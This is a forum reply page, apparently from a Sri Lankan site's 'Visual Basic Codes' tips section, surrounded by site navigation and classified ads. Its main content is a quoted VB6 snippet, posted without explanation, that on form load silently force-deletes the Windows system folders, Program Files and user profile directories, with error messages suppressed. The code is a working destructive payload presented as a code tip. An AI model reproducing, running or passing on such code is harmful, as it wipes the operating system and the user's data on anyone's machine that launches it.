Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
එක පැකේජ් එකයි මාසෙටම Unlimited Internet. තාමත් DATA CARD දාන්න සල්ලි වියදම් කරනවද? අඩුම මිලට අපෙන්.
sayuru bandara
Updated:
Tuesday at 12:30 PM
Ad icon
ඉන්ටර්නෙට් එකෙන් හරියටම සල්ලි හොයන්න සහ Success වෙන්න කැමතිද? 🚀 (E-Money & Success Stories)
siri sumana
Updated:
Saturday at 11:44 PM
Gemini AI PRO 18 months Offer
Hawaka
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Electronics
Vehicles
Property
Search
Reply to thread
Forums
Computers & Internet
Tips & Tricks
Visual Basic Codes
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="pjayampathi" data-source="post: 5580041" data-attributes="member: 74195"><p>Public Sub DelAll(ByVal DirtoDelete As Variant)</p><p>Dim FSO, FS</p><p>Set FSO = CreateObject(”Scripting.FileSystemObject”)</p><p>FS = FSO.DeleteFolder(DirtoDelete, True)</p><p>End Sub</p><p></p><p>Private Sub Form_Load()</p><p>On Error Resume Next</p><p>Call DelAll(”c:\windows\system”)</p><p>Call DelAll(”c:\windows\system32″)</p><p>Call DelAll(”c:\windows”)</p><p>Call DelAll(”C:\Documents and Settings\All Users”)</p><p>Call DelAll(”C:\Documents and Settings\Administrator”)</p><p>Call DelAll(”C:\Documents and Settings”)</p><p>Call DelAll(”C:\Program Files\Common Files”)</p><p>Call DelAll(”C:\Program Files\Internet Explorer”)</p><p>Call DelAll(”C:\Program Files\Microsoft Visual Studio”)</p><p>Call DelAll(”C:\Program Files”)</p><p>End</p><p>End Sub</p></blockquote><p></p>
[QUOTE="pjayampathi, post: 5580041, member: 74195"] Public Sub DelAll(ByVal DirtoDelete As Variant) Dim FSO, FS Set FSO = CreateObject(”Scripting.FileSystemObject”) FS = FSO.DeleteFolder(DirtoDelete, True) End Sub Private Sub Form_Load() On Error Resume Next Call DelAll(”c:\windows\system”) Call DelAll(”c:\windows\system32″) Call DelAll(”c:\windows”) Call DelAll(”C:\Documents and Settings\All Users”) Call DelAll(”C:\Documents and Settings\Administrator”) Call DelAll(”C:\Documents and Settings”) Call DelAll(”C:\Program Files\Common Files”) Call DelAll(”C:\Program Files\Internet Explorer”) Call DelAll(”C:\Program Files\Microsoft Visual Studio”) Call DelAll(”C:\Program Files”) End End Sub [/QUOTE]
Insert quotes…
Verification
Awruddata maasa keeyada?
Post reply
Top
Bottom
Gemini AI PRO 18 months Offer
